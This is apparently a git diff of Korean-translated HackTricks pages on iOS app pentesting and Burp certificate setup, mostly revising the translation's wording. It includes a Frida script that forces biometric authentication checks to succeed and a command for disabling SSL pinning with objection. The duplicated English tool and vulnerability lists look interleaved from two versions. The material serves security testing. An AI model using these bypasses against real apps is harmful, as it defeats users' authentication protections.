||||
### Tools for iOS Application Pentesting
|
||||
|
||||
1. **Xcode**: Required for building and running iOS applications on a simulator or a physical device.
|
||||
2. **Cycript**: A developer's utility for in-app exploration and dynamic analysis.
|
||||
2. **Cycript**: A runtime manipulation tool that allows you to explore and modify running applications.
|
||||
3. **Class-dump-z**: Used for generating headers from Mach-O files.
|
||||
4. **Dumpdecrypted**: A tool for decrypting encrypted iOS applications.
|
||||
5. **Hopper Disassembler**: Useful for reverse engineering iOS applications.
|
||||
6. **MobSF**: Mobile Security Framework for automated security analysis of iOS applications.
|
||||
7. **Burp Suite**: A popular tool for intercepting and analyzing network traffic.
|
||||
4. **Dumpdecrypted**: Helps in decrypting encrypted binaries.
|
||||
5. **Hopper Disassembler**: Useful for analyzing the assembly code of applications.
|
||||
6. **MobSF**: Mobile Security Framework for automated security analysis of iOS and Android applications.
|
||||
7. **Burp Suite**: Proxy tool for intercepting and modifying HTTP/HTTPS traffic.
|
||||
|
||||
### Common Vulnerabilities in iOS Applications
|
||||
### Common Vulnerabilities to Look For
|
||||
|
||||
1. **Insecure Data Storage**: Storing sensitive data in an insecure manner.
|
||||
2. **Insecure Communication**: Transmitting data over unencrypted channels.
|
||||
3. **Insecure Authentication**: Weak authentication mechanisms.
|
||||
4. **Insecure Code**: Vulnerabilities in the application's code.
|
||||
5. **Improper Session Handling**: Mishandling of user sessions.
|
||||
6. **Client-Side Injection**: Injection attacks on the client-side.
|
||||
7. **Security Decisions Via Untrusted Inputs**: Making security decisions based on untrusted inputs.
|
||||
|
||||
### iOS Application Pentesting Methodology
|
||||
|
||||
1. **Information Gathering**: Collect information about the target application.
|
||||
2. **Static Analysis**: Analyze the application's binary and source code.
|
||||
3. **Dynamic Analysis**: Execute the application and monitor its behavior.
|
||||
4. **Traffic Interception**: Intercept and analyze network traffic.
|
||||
5. **Runtime Analysis**: Analyze the application's runtime behavior.
|
||||
6. **Reporting**: Document findings and provide recommendations for mitigation.
|
||||
1. **Insecure Data Storage**: Check for sensitive data stored in plaintext or insecurely.
|
||||
2. **Improper Session Handling**: Look for issues like session fixation, session hijacking, etc.
|
||||
3. **Insecure Communication**: Check for the use of insecure communication channels.
|
||||
4. **Client-Side Injection**: Look for vulnerabilities like SQL injection, JavaScript injection, etc.
|
||||
5. **Authentication Issues**: Check for weak authentication mechanisms.
|
||||
6. **Insecure Cryptography**: Look for the use of weak encryption algorithms or improper implementation.
|
||||
7. **Privacy Issues**: Check for violations of user privacy and data leakage.
|
||||
|
||||
### Conclusion
|
||||
|
||||
iOS application pentesting is crucial to identify and address security vulnerabilities in iOS applications. By following a structured methodology and using the right tools, security professionals can effectively assess the security posture of iOS applications.
|
||||
iOS application pentesting requires a good understanding of the iOS ecosystem, security concepts, and common vulnerabilities. By using the right tools and techniques, you can identify and mitigate security risks in iOS applications effectively.
|
||||
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
|
@ -930,13 +956,16 @@ NSLog(@"%@", password);
|
|||
NSLog(@"Something went wrong");
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### 탐지
|
||||
|
||||
앱에서 프레임워크 사용은 앱 이진 파일의 공유 동적 라이브러리 목록을 분석하여 감지할 수 있습니다. 이를 위해 `otool`을 사용할 수 있습니다:
|
||||
앱에서 프레임워크 사용을 분석하여 앱 이진 파일의 공유 동적 라이브러리 목록을 확인할 수 있습니다. 이를 위해 `otool`을 사용할 수 있습니다:
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
만약 앱에서 `LocalAuthentication.framework`를 사용한다면, 출력에는 다음 두 줄이 모두 포함됩니다 (`LocalAuthentication.framework`가 내부적으로 `Security.framework`를 사용한다는 것을 기억하세요):
|
||||
만약 앱에서 `LocalAuthentication.framework`를 사용한다면, 출력에 다음 두 줄이 모두 포함될 것입니다 (`LocalAuthentication.framework`가 내부적으로 `Security.framework`를 사용한다는 것을 기억하세요):
|
||||
```bash
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
|
@ -990,9 +1019,9 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
|||
}
|
||||
}
|
||||
```
|
||||
로컬 인증 **바이패스**를 달성하기 위해 Frida 스크립트를 작성합니다. 이 스크립트는 **evaluatePolicy** 확인을 대상으로 하여 콜백을 가로채어 **success=1**을 반환하도록 보장합니다. 콜백의 동작을 변경함으로써 인증 확인이 효과적으로 우회됩니다.
|
||||
로컬 인증 **바이패스**를 달성하기 위해 Frida 스크립트를 작성합니다. 이 스크립트는 **evaluatePolicy** 확인을 대상으로 하며, 콜백을 가로채어 **success=1**을 반환하도록 보장합니다. 콜백의 동작을 변경함으로써 인증 확인이 효과적으로 우회됩니다.
|
||||
|
||||
아래 스크립트는 **evaluatePolicy** 메서드의 결과를 수정하기 위해 주입된다. 이는 콜백의 결과를 항상 성공으로 표시하도록 변경합니다.
|
||||
아래 스크립트는 **evaluatePolicy** 메소드의 결과를 수정하기 위해 주입됩니다. 콜백의 결과를 항상 성공으로 표시하도록 변경합니다.
|
||||
```swift
|
||||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||||
if(ObjC.available) {
|
||||
|
@ -1064,7 +1093,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
|
|||
|
||||
## 네트워크 통신
|
||||
|
||||
통신이 **암호화되지 않은** 상태로 발생하지 않는지 확인하는 것과 애플리케이션이 서버의 TLS 인증서를 올바르게 **검증하는지** 확인하는 것이 중요합니다.\
|
||||
통신이 **암호화되지 않은** 상태로 발생하지 않고 애플리케이션이 서버의 TLS 인증서를 올바르게 **검증**하는지 확인하는 것이 중요합니다.\
|
||||
이러한 문제를 확인하려면 **Burp**와 같은 프록시를 사용할 수 있습니다:
|
||||
|
||||
{% content-ref url="burp-configuration-for-ios.md" %}
|
||||
|
@ -1073,15 +1102,15 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
|
|||
|
||||
### 호스트명 확인
|
||||
|
||||
TLS 인증서를 올바르게 확인하는 일반적인 문제는 인증서가 **신뢰할 수 있는 CA에 의해 서명되었는지** 확인하지만 **인증서의 호스트명**이 액세스 중인 호스트명인지 확인하지 않는 것입니다.\
|
||||
이 문제를 Burp를 사용하여 확인하려면 iPhone에서 Burp CA를 신뢰한 후 Burp를 사용하여 다른 호스트명을 위한 새 인증서를 생성하고 사용할 수 있습니다. 애플리케이션이 여전히 작동하는 경우 취약점이 있을 수 있습니다.
|
||||
TLS 인증서를 올바르게 검증하는 일반적인 문제는 인증서가 **신뢰할 수 있는 CA에 의해 서명되었는지** 확인하지만 **인증서의 호스트명**이 액세스 중인 호스트명인지 확인하지 않는 것입니다.\
|
||||
이 문제를 Burp를 사용하여 확인하려면 iPhone에서 Burp CA를 신뢰한 후, Burp를 사용하여 다른 호스트명을 위한 새 인증서를 생성하고 사용할 수 있습니다. 애플리케이션이 여전히 작동하는 경우 취약점이 있을 수 있습니다.
|
||||
|
||||
### 인증서 핀닝
|
||||
|
||||
애플리케이션이 SSL Pinning을 올바르게 사용하는 경우 인증서가 예상대로인 경우에만 애플리케이션이 작동합니다. 애플리케이션을 테스트할 때 **이것은 문제가 될 수 있습니다. Burp는 자체 인증서를 제공할 것입니다.**\
|
||||
이러한 보호를 우회하기 위해 탈옥된 장치 내에서 애플리케이션 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)를 설치하거나 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)를 설치할 수 있습니다.
|
||||
애플리케이션이 SSL Pinning을 올바르게 사용하는 경우, 애플리케이션은 예상되는 인증서인 경우에만 작동합니다. 애플리케이션을 테스트할 때 **이것은 문제가 될 수 있습니다. Burp는 자체 인증서를 제공할 것입니다.**\
|
||||
이러한 보호를 우회하기 위해 탈옥된 장치 내에서 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 애플리케이션을 설치하거나 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)를 설치할 수 있습니다.
|
||||
|
||||
또한 **objection**의 `ios sslpinning disable`를 사용할 수도 있습니다.
|
||||
또한 **objection**의 `ios sslpinning disable`을 사용할 수도 있습니다.
|
||||
|
||||
## 기타
|
||||
|
||||
|
@ -1097,8 +1126,8 @@ TLS 인증서를 올바르게 확인하는 일반적인 문제는 인증서가 *
|
|||
### 핫 패칭/강제 업데이트
|
||||
|
||||
개발자는 앱을 다시 제출하고 승인될 때까지 기다리지 않고 모든 설치된 앱을 즉시 원격으로 **패치**할 수 있습니다.\
|
||||
이를 위해 보통 [**JSPatch**](https://github.com/bang590/JSPatch)**를** 사용합니다. 그러나 [Siren](https://github.com/ArtSabintsev/Siren) 및 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)와 같은 다른 옵션도 있습니다.\
|
||||
**이것은 악의적인 제3자 SDK에 의해 남용될 수 있는 위험한 메커니즘이므로 자동 업데이트에 사용되는 방법(있는 경우)을 확인하고 테스트하는 것이 좋습니다.** 이를 위해 앱의 이전 버전을 다운로드해 볼 수 있습니다.
|
||||
이를 위해 보통 [**JSPatch**](https://github.com/bang590/JSPatch)**와 같은 것이 사용됩니다.** 그 외에도 [Siren](https://github.com/ArtSabintsev/Siren) 및 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)와 같은 다른 옵션이 있습니다.\
|
||||
**이는 악의적인 제3자 SDK에 의해 남용될 수 있는 위험한 메커니즘이므로 자동 업데이트에 사용된 방법을 확인하고 테스트하는 것이 권장됩니다.** 이를 위해 앱의 이전 버전을 다운로드해 볼 수 있습니다.
|
||||
|
||||
### 제3자
|
||||
|
||||
|
@ -1140,10 +1169,10 @@ otool -L <application_path>
|
|||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -1157,7 +1186,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,73 +2,73 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 **세계에서 가장 고급**인 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 **세계에서 가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## iOS 기기에 Burp 인증서 설치
|
||||
## iOS 장치에 Burp 인증서 설치
|
||||
|
||||
iOS 기기에서 안전한 웹 트래픽 분석 및 SSL 핀닝을 위해 Burp Suite를 **Burp Mobile Assistant** 또는 수동 구성을 통해 활용할 수 있습니다. 아래는 두 가지 방법에 대한 간략한 안내서입니다:
|
||||
iOS 장치에서 안전한 웹 트래픽 분석 및 SSL 핀닝을 위해 Burp Suite를 **Burp Mobile Assistant** 또는 수동 구성을 통해 활용할 수 있습니다. 아래는 두 가지 방법에 대한 요약된 가이드입니다:
|
||||
|
||||
### Burp Mobile Assistant를 사용한 자동 설치
|
||||
|
||||
**Burp Mobile Assistant**를 사용하면 Burp 인증서, 프록시 구성 및 SSL 핀닝의 설치 프로세스가 간소화됩니다. 자세한 지침은 [PortSwigger의 공식 문서](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)에서 확인할 수 있습니다.
|
||||
**Burp Mobile Assistant**를 사용하면 Burp 인증서, 프록시 구성 및 SSL 핀닝의 설치 과정이 간소화됩니다. 자세한 지침은 [PortSwigger의 공식 문서](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)에서 확인할 수 있습니다.
|
||||
|
||||
### 수동 설치 단계
|
||||
|
||||
1. **프록시 구성:** iPhone의 Wi-Fi 설정에서 Burp를 프록시로 설정하여 시작합니다.
|
||||
2. **인증서 다운로드:** 기기 브라우저에서 `http://burp`로 이동하여 인증서를 다운로드합니다.
|
||||
3. **인증서 설치:** 다운로드한 프로필을 **설정** > **일반** > **VPN 및 기기 관리**로 이동하여 설치한 후, **인증서 신뢰**에서 PortSwigger CA에 대한 신뢰를 활성화합니다.
|
||||
2. **인증서 다운로드:** 장치 브라우저에서 `http://burp`로 이동하여 인증서를 다운로드합니다.
|
||||
3. **인증서 설치:** 다운로드한 프로필을 **설정** > **일반** > **VPN 및 기기 관리**로 이동하여 설치한 후 **인증서 신뢰 설정**에서 PortSwigger CA에 대한 신뢰를 활성화합니다.
|
||||
|
||||
### 중간 프록시 구성
|
||||
|
||||
이 설정은 iOS 기기와 인터넷 간의 트래픽 분석을 가능하게 하며, 클라이언트 간 트래픽을 지원하는 Wi-Fi 네트워크가 필요합니다. 사용할 수 없는 경우 usbmuxd를 통한 USB 연결이 대안으로 제공됩니다. PortSwigger의 자습서에서 [기기 구성](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) 및 [인증서 설치](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)에 대한 상세한 지침을 제공합니다.
|
||||
이 설정은 iOS 장치와 인터넷 간의 트래픽 분석을 Burp를 통해 가능하게 하며, 클라이언트 간 트래픽을 지원하는 Wi-Fi 네트워크가 필요합니다. 사용할 수 없는 경우 usbmuxd를 통한 USB 연결이 대안으로 제공됩니다. PortSwigger의 자습서에서 [장치 구성](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) 및 [인증서 설치](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)에 대한 상세한 지침을 제공합니다.
|
||||
|
||||
### Jailbroken 기기용 고급 구성
|
||||
### Jailbroken 장치용 고급 구성
|
||||
|
||||
Jailbroken 기기를 사용하는 사용자는 SSH over USB(**iproxy**를 통해)를 통해 트래픽을 직접 Burp를 통해 라우팅할 수 있습니다:
|
||||
Jailbroken 장치 사용자를 위해 USB를 통한 SSH( **iproxy**를 통해)를 통해 트래픽을 직접 Burp로 라우팅하는 방법을 제공합니다:
|
||||
|
||||
1. **SSH 연결 설정:** iproxy를 사용하여 SSH를 localhost로 전달하여 iOS 기기에서 Burp로부터 컴퓨터로의 연결을 허용합니다.
|
||||
1. **SSH 연결 설정:** iproxy를 사용하여 SSH를 localhost로 전달하여 iOS 장치에서 Burp를 실행 중인 컴퓨터로 연결을 허용합니다.
|
||||
|
||||
```bash
|
||||
iproxy 2222 22
|
||||
```
|
||||
2. **원격 포트 전달:** iOS 기기의 포트 8080을 컴퓨터의 localhost로 전달하여 Burp 인터페이스에 직접 액세스할 수 있도록합니다.
|
||||
2. **원격 포트 전달:** iOS 장치의 포트 8080을 컴퓨터의 localhost로 전달하여 Burp 인터페이스에 직접 액세스할 수 있도록 합니다.
|
||||
|
||||
```bash
|
||||
ssh -R 8080:localhost:8080 root@localhost -p 2222
|
||||
```
|
||||
3. **전역 프록시 설정:** 마지막으로 iOS 기기의 Wi-Fi 설정을 수동 프록시로 구성하여 모든 웹 트래픽을 Burp를 통해 전달합니다.
|
||||
3. **전역 프록시 설정:** 마지막으로 iOS 장치의 Wi-Fi 설정을 수동 프록시로 구성하여 모든 웹 트래픽을 Burp를 통해 전달합니다.
|
||||
|
||||
### 전체 네트워크 모니터링/스니핑
|
||||
|
||||
**Wireshark**를 사용하여 HTTP 이외의 기기 트래픽을 효율적으로 모니터링할 수 있으며, iOS 기기의 경우 실시간 트래픽 모니터링은 원격 가상 인터페이스 생성을 통해 가능합니다. 이 프로세스는 [이 Stack Overflow 게시물](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)에서 자세히 설명되어 있습니다. 시작하기 전에 macOS 시스템에 **Wireshark**를 설치해야합니다.
|
||||
**Wireshark**를 사용하여 비-HTTP 장치 트래픽을 효율적으로 모니터링할 수 있으며, iOS 장치의 경우 실시간 트래픽 모니터링은 원격 가상 인터페이스 생성을 통해 가능합니다. 이 프로세스는 [이 Stack Overflow 게시물](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)에서 자세히 설명되어 있습니다. 시작하기 전에 macOS 시스템에 **Wireshark**를 설치해야 합니다.
|
||||
|
||||
절차에는 몇 가지 주요 단계가 포함됩니다:
|
||||
|
||||
1. iOS 기기와 macOS 호스트 간의 USB를 통한 연결을 시작합니다.
|
||||
2. 트래픽 모니터링을 위해 iOS 기기의 **UDID**를 확인합니다. 이는 macOS 터미널에서 명령을 실행하여 수행할 수 있습니다.
|
||||
1. iOS 장치와 macOS 호스트 간의 USB 연결을 시작합니다.
|
||||
2. 트래픽 모니터링을 위해 iOS 장치의 **UDID**를 확인합니다. 이는 macOS 터미널에서 명령을 실행하여 수행할 수 있습니다.
|
||||
```bash
|
||||
$ rvictl -s <UDID>
|
||||
Starting device <UDID> [SUCCEEDED] with interface rvi0
|
||||
```
|
||||
3. UDID 식별 후 **Wireshark**를 열고 데이터 캡처를 위해 "rvi0" 인터페이스를 선택해야 합니다.
|
||||
3. UDID 식별 후, **Wireshark**를 열고 데이터 캡처를 위해 "rvi0" 인터페이스를 선택합니다.
|
||||
4. 특정 IP 주소와 관련된 HTTP 트래픽을 캡처하는 것과 같은 대상 모니터링을 위해 Wireshark의 캡처 필터를 사용할 수 있습니다:
|
||||
|
||||
## 시뮬레이터에 Burp 인증서 설치
|
||||
|
@ -80,12 +80,12 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
|
|||
![](<../../.gitbook/assets/image (459).png>)
|
||||
|
||||
* 인증서를 에뮬레이터 안으로 **드래그 앤 드롭**합니다.
|
||||
* 에뮬레이터 내에서 _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_로 이동하여 **인증서를 확인**합니다.
|
||||
* 에뮬레이터 내에서 _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_로 이동하여 **PortSwigger CA를 활성화**합니다.
|
||||
* **에뮬레이터 내에서** _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_로 이동하여 **인증서를 확인**합니다.
|
||||
* **에뮬레이터 내에서** _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_로 이동하여 **PortSwigger CA를 활성화**합니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (460).png>)
|
||||
|
||||
**축하합니다. iOS 시뮬레이터에 Burp CA 인증서를 성공적으로 구성했습니다.**
|
||||
**축하합니다, iOS 시뮬레이터에 Burp CA 인증서를 성공적으로 구성했습니다**
|
||||
|
||||
{% hint style="info" %}
|
||||
**iOS 시뮬레이터는 MacOS의 프록시 구성을 사용합니다.**
|
||||
|
@ -101,26 +101,26 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
|
|||
|
||||
![](<../../.gitbook/assets/image (461).png>)
|
||||
|
||||
* _**Ok**_를 클릭하고 _**Apply**_을 클릭합니다.
|
||||
* _**Ok**_를 클릭하고 _**Apply**_을 클릭합니다
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**할 수 있습니다.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 제로부터 영웅이 되기까지의 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사를 HackTricks에서 광고하거나 PDF 형식으로 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,29 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **💬 [Discord 그룹에 가입](https://discord.gg/hRep4RUj7f)**하거나 [텔레그램 그룹에 가입](https://t.me/peass)하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 **세계에서 가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
